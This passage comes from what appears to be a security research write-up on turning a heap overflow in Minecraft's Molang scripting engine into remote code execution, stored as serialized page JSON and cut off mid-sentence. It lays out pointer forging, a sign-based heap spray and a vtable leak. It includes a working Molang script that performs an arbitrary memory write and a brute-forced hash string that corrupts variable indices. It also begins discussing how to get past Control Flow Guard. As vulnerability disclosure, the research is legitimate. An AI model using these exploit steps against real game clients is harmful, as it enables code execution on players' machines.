0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[154830],{"type":21,"tag":194,"props":154831,"children":154832},{"__ignoreMap":7},[154833],{"type":27,"value":154828},{"type":21,"tag":30,"props":154835,"children":154836},{},[154837],{"type":27,"value":154838},"All three parts are valid float values, ensuring deterministic calculations.",{"type":21,"tag":30,"props":154840,"children":154841},{},[154842],{"type":27,"value":154843},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":21,"tag":187,"props":154845,"children":154847},{"code":154846},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[154848],{"type":21,"tag":194,"props":154849,"children":154850},{"__ignoreMap":7},[154851],{"type":27,"value":154846},{"type":21,"tag":30,"props":154853,"children":154854},{},[154855],{"type":27,"value":154856},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":21,"tag":187,"props":154858,"children":154860},{"code":154859},"variable.a = variable.saved_adjusted_middle_16;\n",[154861],{"type":21,"tag":194,"props":154862,"children":154863},{"__ignoreMap":7},[154864],{"type":27,"value":154859},{"type":21,"tag":30,"props":154866,"children":154867},{},[154868,154870,154875,154876,154882,154883,154889],{"type":27,"value":154869},"Setting ",{"type":21,"tag":194,"props":154871,"children":154873},{"className":154872},[],[154874],{"type":27,"value":153736},{"type":27,"value":57153},{"type":21,"tag":194,"props":154877,"children":154879},{"className":154878},[],[154880],{"type":27,"value":154881},"0xddcd",{"type":27,"value":648},{"type":21,"tag":194,"props":154884,"children":154886},{"className":154885},[],[154887],{"type":27,"value":154888},"0xddcc + 1",{"type":27,"value":154890},"), and then:",{"type":21,"tag":187,"props":154892,"children":154894},{"code":154893},"variable.b = variable.saved_adjusted_upper_16;\n",[154895],{"type":21,"tag":194,"props":154896,"children":154897},{"__ignoreMap":7},[154898],{"type":27,"value":154893},{"type":21,"tag":30,"props":154900,"children":154901},{},[154902,154904,154909,154911,154917,154918,154924],{"type":27,"value":154903},"Resulting in ",{"type":21,"tag":194,"props":154905,"children":154907},{"className":154906},[],[154908],{"type":27,"value":153750},{"type":27,"value":154910}," value becoming ",{"type":21,"tag":194,"props":154912,"children":154914},{"className":154913},[],[154915],{"type":27,"value":154916},"0x1c81",{"type":27,"value":648},{"type":21,"tag":194,"props":154919,"children":154921},{"className":154920},[],[154922],{"type":27,"value":154923},"0x1c80 + 1",{"type":27,"value":24750},{"type":21,"tag":187,"props":154926,"children":154928},{"code":154927}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154929],{"type":21,"tag":194,"props":154930,"children":154931},{"__ignoreMap":7},[154932],{"type":27,"value":154927},{"type":21,"tag":30,"props":154934,"children":154935},{},[154936],{"type":27,"value":154937},"Now we save the adjusted upper 48 bits:",{"type":21,"tag":187,"props":154939,"children":154941},{"code":154940},"variable.saved_adjusted_upper_48 = variable.a;\n",[154942],{"type":21,"tag":194,"props":154943,"children":154944},{"__ignoreMap":7},[154945],{"type":27,"value":154940},{"type":21,"tag":30,"props":154947,"children":154948},{},[154949],{"type":27,"value":154950},"Finally, we attach the lower 16 bits:",{"type":21,"tag":187,"props":154952,"children":154954},{"code":154953},"variable.a = variable.saved_adjusted_lower_16;\n",[154955],{"type":21,"tag":194,"props":154956,"children":154957},{"__ignoreMap":7},[154958],{"type":27,"value":154953},{"type":21,"tag":187,"props":154960,"children":154962},{"code":154961}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154963],{"type":21,"tag":194,"props":154964,"children":154965},{"__ignoreMap":7},[154966],{"type":27,"value":154961},{"type":21,"tag":30,"props":154968,"children":154969},{},[154970],{"type":27,"value":154971},"And by setting:",{"type":21,"tag":187,"props":154973,"children":154975},{"code":154974},"variable.b = variable.saved_adjusted_upper_48;\n",[154976],{"type":21,"tag":194,"props":154977,"children":154978},{"__ignoreMap":7},[154979],{"type":27,"value":154974},{"type":21,"tag":30,"props":154981,"children":154982},{},[154983],{"type":27,"value":154984},"We forge the final adjusted pointer:",{"type":21,"tag":187,"props":154986,"children":154988},{"code":154987}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154989],{"type":21,"tag":194,"props":154990,"children":154991},{"__ignoreMap":7},[154992],{"type":27,"value":154987},{"type":21,"tag":19590,"props":154994,"children":154995},{},[],{"type":21,"tag":30,"props":154997,"children":154998},{},[154999,155001,155006],{"type":27,"value":155000},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":21,"tag":194,"props":155002,"children":155004},{"className":155003},[],[155005],{"type":27,"value":154532},{"type":27,"value":154488},{"type":21,"tag":30,"props":155008,"children":155009},{},[155010,155012,155017,155019,155024,155026,155032,155034,155039],{"type":27,"value":155011},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":21,"tag":194,"props":155013,"children":155015},{"className":155014},[],[155016],{"type":27,"value":154532},{"type":27,"value":155018},". Instead, we need any two pointers on the heap - one pointing to ",{"type":21,"tag":194,"props":155020,"children":155022},{"className":155021},[],[155023],{"type":27,"value":31486},{"type":27,"value":155025}," and the other to ",{"type":21,"tag":194,"props":155027,"children":155029},{"className":155028},[],[155030],{"type":27,"value":155031},"addr + 2",{"type":27,"value":155033}," (as long as ",{"type":21,"tag":194,"props":155035,"children":155037},{"className":155036},[],[155038],{"type":27,"value":31486},{"type":27,"value":155040}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":21,"tag":30,"props":155042,"children":155043},{},[155044,155046,155051,155052,155057],{"type":27,"value":155045},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":21,"tag":194,"props":155047,"children":155049},{"className":155048},[],[155050],{"type":27,"value":150506},{"type":27,"value":154291},{"type":21,"tag":194,"props":155053,"children":155055},{"className":155054},[],[155056],{"type":27,"value":153310},{"type":27,"value":155058}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":21,"tag":187,"props":155060,"children":155062},{"code":155061},"variable.corrupted_var_map_ptr = variable.a;\n",[155063],{"type":21,"tag":194,"props":155064,"children":155065},{"__ignoreMap":7},[155066],{"type":27,"value":155061},{"type":21,"tag":30,"props":155068,"children":155069},{},[155070,155072,155077,155079,155085],{"type":27,"value":155071},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":21,"tag":194,"props":155073,"children":155075},{"className":155074},[],[155076],{"type":27,"value":39910},{"type":27,"value":155078}," field (in this case, the reconstructed pointer) and writes it to ",{"type":21,"tag":194,"props":155080,"children":155082},{"className":155081},[],[155083],{"type":27,"value":155084},"variable.corrupted_var_map_ptr",{"type":27,"value":155086},", even though the type itself is only a 32-bit float.",{"type":21,"tag":162,"props":155088,"children":155090},{"id":155089},"finding-misaligned-pointers",[155091],{"type":27,"value":155092},"Finding Misaligned Pointers",{"type":21,"tag":30,"props":155094,"children":155095},{},[155096,155098,155103,155104,155110],{"type":27,"value":155097},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":21,"tag":194,"props":155099,"children":155101},{"className":155100},[],[155102],{"type":27,"value":14756},{"type":27,"value":11801},{"type":21,"tag":194,"props":155105,"children":155107},{"className":155106},[],[155108],{"type":27,"value":155109},"ptr + 2",{"type":27,"value":155111},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":21,"tag":30,"props":155113,"children":155114},{},[155115,155120,155121,155126,155128,155133,155135,155140,155142,155147,155149,155154,155156,155162,155163,155168],{"type":21,"tag":194,"props":155116,"children":155118},{"className":155117},[],[155119],{"type":27,"value":153486},{"type":27,"value":16248},{"type":21,"tag":194,"props":155122,"children":155124},{"className":155123},[],[155125],{"type":27,"value":153509},{"type":27,"value":155127}," found inside every entity object. As noted earlier, a ",{"type":21,"tag":194,"props":155129,"children":155131},{"className":155130},[],[155132],{"type":27,"value":153340},{"type":27,"value":155134}," contains three pointers: ",{"type":21,"tag":194,"props":155136,"children":155138},{"className":155137},[],[155139],{"type":27,"value":150506},{"type":27,"value":155141}," (the start of the allocated buffer), ",{"type":21,"tag":194,"props":155143,"children":155145},{"className":155144},[],[155146],{"type":27,"value":9950},{"type":27,"value":155148}," (just past the last element) and ",{"type":21,"tag":194,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":27,"value":153439},{"type":27,"value":155155}," (the end of the allocated buffer). Because the element type is ",{"type":21,"tag":194,"props":155157,"children":155159},{"className":155158},[],[155160],{"type":27,"value":155161},"uint16_t",{"type":27,"value":102679},{"type":21,"tag":194,"props":155164,"children":155166},{"className":155165},[],[155167],{"type":27,"value":9950},{"type":27,"value":155169}," pointer advances by 2 bytes each time a new element is added.",{"type":21,"tag":30,"props":155171,"children":155172},{},[155173,155175,155180,155182,155188],{"type":27,"value":155174},"We can make the ",{"type":21,"tag":194,"props":155176,"children":155178},{"className":155177},[],[155179],{"type":27,"value":9950},{"type":27,"value":155181}," pointer equal to ",{"type":21,"tag":194,"props":155183,"children":155185},{"className":155184},[],[155186],{"type":27,"value":155187},"cap - 2",{"type":27,"value":155189}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":21,"tag":187,"props":155191,"children":155193},{"code":155192}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[155194],{"type":21,"tag":194,"props":155195,"children":155196},{"__ignoreMap":7},[155197],{"type":27,"value":155192},{"type":21,"tag":19590,"props":155199,"children":155200},{},[],{"type":21,"tag":30,"props":155202,"children":155203},{},[155204,155206,155211,155213,155218,155220,155225,155227,155232,155233,155238],{"type":27,"value":155205},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":21,"tag":194,"props":155207,"children":155209},{"className":155208},[],[155210],{"type":27,"value":150506},{"type":27,"value":155212}," pointer of ",{"type":21,"tag":194,"props":155214,"children":155216},{"className":155215},[],[155217],{"type":27,"value":153310},{"type":27,"value":155219}," in the entity object above, one that would index ",{"type":21,"tag":194,"props":155221,"children":155223},{"className":155222},[],[155224],{"type":27,"value":9950},{"type":27,"value":155226}," and the final ",{"type":21,"tag":194,"props":155228,"children":155230},{"className":155229},[],[155231],{"type":27,"value":153439},{"type":27,"value":155212},{"type":21,"tag":194,"props":155234,"children":155236},{"className":155235},[],[155237],{"type":27,"value":153486},{"type":27,"value":155239}," also in the same entity object above.",{"type":21,"tag":30,"props":155241,"children":155242},{},[155243,155245,155251,155252,155258,155260,155265,155266,155271,155273,155278,155280,155285,155286,155291,155293,155298],{"type":27,"value":155244},"The corrupted variables ",{"type":21,"tag":194,"props":155246,"children":155248},{"className":155247},[],[155249],{"type":27,"value":155250},"variable.corrupted_len_ptr",{"type":27,"value":11801},{"type":21,"tag":194,"props":155253,"children":155255},{"className":155254},[],[155256],{"type":27,"value":155257},"variable.corrupted_cap_ptr",{"type":27,"value":155259}," point to ",{"type":21,"tag":194,"props":155261,"children":155263},{"className":155262},[],[155264],{"type":27,"value":9950},{"type":27,"value":11801},{"type":21,"tag":194,"props":155267,"children":155269},{"className":155268},[],[155270],{"type":27,"value":153439},{"type":27,"value":155272},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":21,"tag":194,"props":155274,"children":155276},{"className":155275},[],[155277],{"type":27,"value":155084},{"type":27,"value":155279},", points to the ",{"type":21,"tag":194,"props":155281,"children":155283},{"className":155282},[],[155284],{"type":27,"value":150506},{"type":27,"value":154291},{"type":21,"tag":194,"props":155287,"children":155289},{"className":155288},[],[155290],{"type":27,"value":153310},{"type":27,"value":155292},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":21,"tag":194,"props":155294,"children":155296},{"className":155295},[],[155297],{"type":27,"value":153310},{"type":27,"value":155299},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":21,"tag":30,"props":155301,"children":155302},{},[155303],{"type":27,"value":155304},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":21,"tag":162,"props":155306,"children":155308},{"id":155307},"leaking-pointers",[155309],{"type":27,"value":155310},"Leaking Pointers",{"type":21,"tag":30,"props":155312,"children":155313},{},[155314,155316,155322],{"type":27,"value":155315},"In C++, an object’s first field is typically a ",{"type":21,"tag":194,"props":155317,"children":155319},{"className":155318},[],[155320],{"type":27,"value":155321},"vtable",{"type":27,"value":155323}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":21,"tag":187,"props":155325,"children":155327},{"code":155326}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[155328],{"type":21,"tag":194,"props":155329,"children":155330},{"__ignoreMap":7},[155331],{"type":27,"value":155326},{"type":21,"tag":30,"props":155333,"children":155334},{},[155335,155336,155341,155343,155348,155350,155355,155357,155362,155364,155369,155370,155375,155377,155382],{"type":27,"value":534},{"type":21,"tag":194,"props":155337,"children":155339},{"className":155338},[],[155340],{"type":27,"value":39910},{"type":27,"value":155342}," field inside a ",{"type":21,"tag":194,"props":155344,"children":155346},{"className":155345},[],[155347],{"type":27,"value":152983},{"type":27,"value":155349}," is at offset ",{"type":21,"tag":194,"props":155351,"children":155353},{"className":155352},[],[155354],{"type":27,"value":153244},{"type":27,"value":155356},". We already control a corrupted variable, ",{"type":21,"tag":194,"props":155358,"children":155360},{"className":155359},[],[155361],{"type":27,"value":155250},{"type":27,"value":155363},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":21,"tag":194,"props":155365,"children":155367},{"className":155366},[],[155368],{"type":27,"value":9950},{"type":27,"value":154291},{"type":21,"tag":194,"props":155371,"children":155373},{"className":155372},[],[155374],{"type":27,"value":153486},{"type":27,"value":155376}," by 2 bytes, which in turn advances ",{"type":21,"tag":194,"props":155378,"children":155380},{"className":155379},[],[155381],{"type":27,"value":155250},{"type":27,"value":155383}," by 2 bytes.",{"type":21,"tag":30,"props":155385,"children":155386},{},[155387,155389,155394,155396,155402,155403,155408,155409,155414,155416,155421],{"type":27,"value":155388},"By moving ",{"type":21,"tag":194,"props":155390,"children":155392},{"className":155391},[],[155393],{"type":27,"value":9950},{"type":27,"value":155395}," so it equals ",{"type":21,"tag":194,"props":155397,"children":155399},{"className":155398},[],[155400],{"type":27,"value":155401},"cap - 0x38",{"type":27,"value":102679},{"type":21,"tag":194,"props":155404,"children":155406},{"className":155405},[],[155407],{"type":27,"value":39910},{"type":27,"value":154291},{"type":21,"tag":194,"props":155410,"children":155412},{"className":155411},[],[155413],{"type":27,"value":155250},{"type":27,"value":155415}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":21,"tag":194,"props":155417,"children":155419},{"className":155418},[],[155420],{"type":27,"value":155321},{"type":27,"value":155422}," pointer. We can then capture that pointer with:",{"type":21,"tag":187,"props":155424,"children":155426},{"code":155425},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[155427],{"type":21,"tag":194,"props":155428,"children":155429},{"__ignoreMap":7},[155430],{"type":27,"value":155425},{"type":21,"tag":30,"props":155432,"children":155433},{},[155434,155436,155441,155443,155448,155450,155455,155457,155463],{"type":27,"value":155435},"After saving the leak, we add 27 unseen variables to advance ",{"type":21,"tag":194,"props":155437,"children":155439},{"className":155438},[],[155440],{"type":27,"value":9950},{"type":27,"value":155442}," until it equals ",{"type":21,"tag":194,"props":155444,"children":155446},{"className":155445},[],[155447],{"type":27,"value":155187},{"type":27,"value":155449},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":21,"tag":194,"props":155451,"children":155453},{"className":155452},[],[155454],{"type":27,"value":155321},{"type":27,"value":155456}," address in ",{"type":21,"tag":194,"props":155458,"children":155460},{"className":155459},[],[155461],{"type":27,"value":155462},"variable.saved_vtable_pointer",{"type":27,"value":658},{"type":21,"tag":19590,"props":155465,"children":155466},{},[],{"type":21,"tag":30,"props":155468,"children":155469},{},[155470,155472,155477,155479,155485],{"type":27,"value":155471},"A Molang script that performs an arbitrary write of the value ",{"type":21,"tag":194,"props":155473,"children":155475},{"className":155474},[],[155476],{"type":27,"value":44257},{"type":27,"value":155478}," to the address ",{"type":21,"tag":194,"props":155480,"children":155482},{"className":155481},[],[155483],{"type":27,"value":155484},"vtable + 0x1000",{"type":27,"value":155486}," looks like this:",{"type":21,"tag":187,"props":155488,"children":155490},{"code":155489},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[155491],{"type":21,"tag":194,"props":155492,"children":155493},{"__ignoreMap":7},[155494],{"type":27,"value":155489},{"type":21,"tag":162,"props":155496,"children":155498},{"id":155497},"required-heap-layout",[155499],{"type":27,"value":155500},"Required Heap Layout",{"type":21,"tag":30,"props":155502,"children":155503},{},[155504],{"type":27,"value":155505},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":21,"tag":187,"props":155507,"children":155509},{"code":155508}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[155510],{"type":21,"tag":194,"props":155511,"children":155512},{"__ignoreMap":7},[155513],{"type":27,"value":155508},{"type":21,"tag":30,"props":155515,"children":155516},{},[155517,155519,155525,155527,155532,155534,155539,155541,155546,155547,155552],{"type":27,"value":155518},"The first region (",{"type":21,"tag":194,"props":155520,"children":155522},{"className":155521},[],[155523],{"type":27,"value":155524},"Heap Region 1",{"type":27,"value":155526},") contains alternating ",{"type":21,"tag":194,"props":155528,"children":155530},{"className":155529},[],[155531],{"type":27,"value":153310},{"type":27,"value":155533},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":21,"tag":194,"props":155535,"children":155537},{"className":155536},[],[155538],{"type":27,"value":153340},{"type":27,"value":155540}," pointers of ",{"type":21,"tag":194,"props":155542,"children":155544},{"className":155543},[],[155545],{"type":27,"value":153310},{"type":27,"value":11801},{"type":21,"tag":194,"props":155548,"children":155550},{"className":155549},[],[155551],{"type":27,"value":153486},{"type":27,"value":155553}," from the entity object for our main attack.",{"type":21,"tag":30,"props":155555,"children":155556},{},[155557,155559,155565,155567,155572,155574,155579,155581,155586,155588,155593],{"type":27,"value":155558},"The second region (",{"type":21,"tag":194,"props":155560,"children":155562},{"className":155561},[],[155563],{"type":27,"value":155564},"Heap Region 2",{"type":27,"value":155566},") contains interleaved ",{"type":21,"tag":194,"props":155568,"children":155570},{"className":155569},[],[155571],{"type":27,"value":153486},{"type":27,"value":155573},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":21,"tag":194,"props":155575,"children":155577},{"className":155576},[],[155578],{"type":27,"value":155321},{"type":27,"value":155580}," pointer into ",{"type":21,"tag":194,"props":155582,"children":155584},{"className":155583},[],[155585],{"type":27,"value":155250},{"type":27,"value":155587}," during our main attack. It could be any object with a ",{"type":21,"tag":194,"props":155589,"children":155591},{"className":155590},[],[155592],{"type":27,"value":155321},{"type":27,"value":155594},", but for simplicity we use the entity object.",{"type":21,"tag":30,"props":155596,"children":155597},{},[155598,155600,155606,155608,155613],{"type":27,"value":155599},"During the attack, overwriting another variable's pointer with\n",{"type":21,"tag":194,"props":155601,"children":155603},{"className":155602},[],[155604],{"type":27,"value":155605},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":27,"value":155607}," will very likely clobber the ",{"type":21,"tag":194,"props":155609,"children":155611},{"className":155610},[],[155612],{"type":27,"value":153806},{"type":27,"value":155614}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":21,"tag":30,"props":155616,"children":155617},{},[155618],{"type":27,"value":155619},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":21,"tag":30,"props":155621,"children":155622},{},[155623],{"type":27,"value":155624},"The final exploit proceeds in three stages:",{"type":21,"tag":71,"props":155626,"children":155627},{},[155628,155633,155638],{"type":21,"tag":75,"props":155629,"children":155630},{},[155631],{"type":27,"value":155632},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":21,"tag":75,"props":155634,"children":155635},{},[155636],{"type":27,"value":155637},"Perform the heap spray with signs to create the desired layout for the attack",{"type":21,"tag":75,"props":155639,"children":155640},{},[155641],{"type":27,"value":155642},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":21,"tag":162,"props":155644,"children":155646},{"id":155645},"initial-corruption-variant-lfh-heap-approach",[155647],{"type":27,"value":155648},"Initial Corruption Variant: LFH Heap Approach",{"type":21,"tag":30,"props":155650,"children":155651},{},[155652],{"type":27,"value":155653},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":21,"tag":30,"props":155655,"children":155656},{},[155657,155659,155664,155665,155671],{"type":27,"value":155658},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":21,"tag":194,"props":155660,"children":155662},{"className":155661},[],[155663],{"type":27,"value":153553},{"type":27,"value":7299},{"type":21,"tag":194,"props":155666,"children":155668},{"className":155667},[],[155669],{"type":27,"value":155670},"last_index",{"type":27,"value":155672}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":21,"tag":30,"props":155674,"children":155675},{},[155676,155678,155683,155684,155689,155691,155696,155698,155703,155705,155710,155712,155718,155719,155725,155726,155732],{"type":27,"value":155677},"The main attack can be arranged by making the resulting index point at the ",{"type":21,"tag":194,"props":155679,"children":155681},{"className":155680},[],[155682],{"type":27,"value":150506},{"type":27,"value":154291},{"type":21,"tag":194,"props":155685,"children":155687},{"className":155686},[],[155688],{"type":27,"value":153486},{"type":27,"value":155690},". From there, the script can overwrite three variable indices at offset ",{"type":21,"tag":194,"props":155692,"children":155694},{"className":155693},[],[155695],{"type":27,"value":153244},{"type":27,"value":155697}," within the ",{"type":21,"tag":194,"props":155699,"children":155701},{"className":155700},[],[155702],{"type":27,"value":153486},{"type":27,"value":155704}," by using the string type. This works because a Molang string's value is just a ",{"type":21,"tag":194,"props":155706,"children":155708},{"className":155707},[],[155709],{"type":27,"value":56011},{"type":27,"value":155711}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":21,"tag":194,"props":155713,"children":155715},{"className":155714},[],[155716],{"type":27,"value":155717},"0xfb",{"type":27,"value":828},{"type":21,"tag":194,"props":155720,"children":155722},{"className":155721},[],[155723],{"type":27,"value":155724},"0xfc",{"type":27,"value":11801},{"type":21,"tag":194,"props":155727,"children":155729},{"className":155728},[],[155730],{"type":27,"value":155731},"0xfd",{"type":27,"value":155733}," the script would do:",{"type":21,"tag":187,"props":155735,"children":155737},{"code":155736},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[155738],{"type":21,"tag":194,"props":155739,"children":155740},{"__ignoreMap":7},[155741],{"type":27,"value":155736},{"type":21,"tag":30,"props":155743,"children":155744},{},[155745,155747,155752,155753,155759,155761,155766],{"type":27,"value":155746},"That line would write the ",{"type":21,"tag":194,"props":155748,"children":155750},{"className":155749},[],[155751],{"type":27,"value":56011},{"type":27,"value":92555},{"type":21,"tag":194,"props":155754,"children":155756},{"className":155755},[],[155757],{"type":27,"value":155758},"0x302700fb00fc00fd",{"type":27,"value":155760}," (string's FNV-1 hash) into the allocated ",{"type":21,"tag":194,"props":155762,"children":155764},{"className":155763},[],[155765],{"type":27,"value":153486},{"type":27,"value":155767}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":21,"tag":59,"props":155769,"children":155771},{"id":155770},"hijacking-execution",[155772],{"type":27,"value":155773},"Hijacking Execution",{"type":21,"tag":30,"props":155775,"children":155776},{},[155777,155779,155784,155786,155792],{"type":27,"value":155778},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":21,"tag":194,"props":155780,"children":155782},{"className":155781},[],[155783],{"type":27,"value":155321},{"type":27,"value":155785}," and function pointers in the writable ",{"type":21,"tag":194,"props":155787,"children":155789},{"className":155788},[],[155790],{"type":27,"value":155791},".data",{"type":27,"value":155793}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":21,"tag":30,"props":155795,"children":155796},{},[155797],{"type":27,"value":155798},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":21,"tag":30,"props":155800,"children":155801},{},[155802],{"type":27,"value":155803},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":21,"tag":30,"props":155805,"children":155806},{},[155807],{"type":21,"tag":1376,"props":155808,"children":155810},{"alt":50954,"src":155809},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":21,"tag":30,"props":155812,"children":155813},{},[155814,155816,155822,155824,155830,155832,155837,155839,155844,155846,155852,155854,155859,155861,155867,155869,155874],{"type":27,"value":155815},"This snippet calls a method on an object: ",{"type":21,"tag":194,"props":155817,"children":155819},{"className":155818},[],[155820],{"type":27,"value":155821},"rcx",{"type":27,"value":155823}," holds the object pointer, the first ",{"type":21,"tag":194,"props":155825,"children":155827},{"className":155826},[],[155828],{"type":27,"value":155829},"mov",{"type":27,"value":155831}," loads the object's ",{"type":21,"tag":194,"props":155833,"children":155835},{"className":155834},[],[155836],{"type":27,"value":155321},{"type":27,"value":155838}," into ",{"type":21,"tag":194,"props":155840,"children":155842},{"className":155841},[],[155843],{"type":27,"value":57151},{"type":27,"value":155845},", and the function pointer at ",{"type":21,"tag":194,"props":155847,"children":155849},{"className":155848},[],[155850],{"type":27,"value":155851},"rax + 0x8",{"type":27,"value":155853}," is read into ",{"type":21,"tag":194,"props":155855,"children":155857},{"className":155856},[],[155858],{"type":27,"value":57151},{"type":27,"value":155860},". Finally, 